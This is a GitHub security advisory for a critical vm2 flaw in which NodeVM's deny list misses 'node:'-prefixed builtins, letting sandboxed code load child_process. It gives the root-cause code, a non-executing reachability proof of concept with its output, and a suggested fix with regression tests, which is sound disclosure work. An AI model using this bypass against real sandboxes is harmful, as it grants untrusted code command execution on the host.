GitHub Advisoryadvisory · npm

GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

CRITICAL Published 2026-10-01 Modified 2026-10-01 Official page ↗
Aliases
CVE-2026-92957
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-269, CWE-284
Reviewed
2026-10-01

Affected packages

• npm vm2: < 3.11.7 → fixed in 3.11.7

Description

Summary NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy. As a result, this configuration: ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`. The safe proof below only checks module and function reachability. It does not execute any OS command. Affected Mode NodeVM. Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`. Affected Files / Functions • `lib/builtin.js` • `makeBuiltinsFromLegacyOptions` • wildcard builtin expansion • exact negative entry check: `builtins.indexOf(\`-${name}\`)` • `addDefaultBuiltin` • `lib/resolver.js` • `Resolver.resolve` • `lib/setup-node-sandbox.js` • `requireImpl` • `node:` prefix stripping before builtin load Root Cause `lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin: ```js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; } ``` But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` `BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin. Security Boundary Crossed Sandboxed code reaches a host builtin that the embedder attempted to deny. Boundary crossed: • sandbox -> host `child_process` builtin • sandbox -> host process-spawning function references Impact Confirmed impact: • `require('child_process')` succeeds inside the sandbox. • `require('node:child_process')` succeeds inside the sandbox. • The returned module exposes `execSync` and `spawn` as functions. Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command. The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability. Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands. ```js 'use strict'; const { NodeVM } = require('./'); function probe(builtin) { const vm = new NodeVM({ require: { builtin } }); return vm.run(` const out = {}; for (const spec of ['child_process', 'node:child_process']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } } module.exports = out; `); } console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['*', '-node:child_process']), denyCanonical: probe(['*', '-child_process']) }, null, 2)); ``` Observed result: ```json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'child_process'" }, "node:child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:child_process'" } } } ``` Expected Secure Behavior `-node:child_process` and `-child_process` should be equivalent. If either spelling is denied, both of these should fail: ```js require('child_process') require('node:child_process') ``` Suggested Fix 1. Canonicalize builtin names before allow/deny comparison: • Strip `node:` from user-provided builtin entries. • Preserve whether an entry is negative (`-...`) before canonicalizing. • Store and compare one canonical builtin key. 2. Apply the same normalization to: • wildcard negative entries • explicit allowlist entries • object-form builtin entries • mock/override keys if they are intended to support `node:` spelling 3. Add regression tests: • `builtin: ['*', '-node:child_process']` blocks `child_process`. • `builtin: ['*', '-node:child_process']` blocks `node:child_process`. • `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`. • `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently. • Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.

Related

Alias · CVE (1)

  • CVE-2026-92957 vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM… vulnerability

Weakness · CWE (2)

  • CWE-269 Improper Privilege Management weakness
  • CWE-284 Improper Access Control weakness

References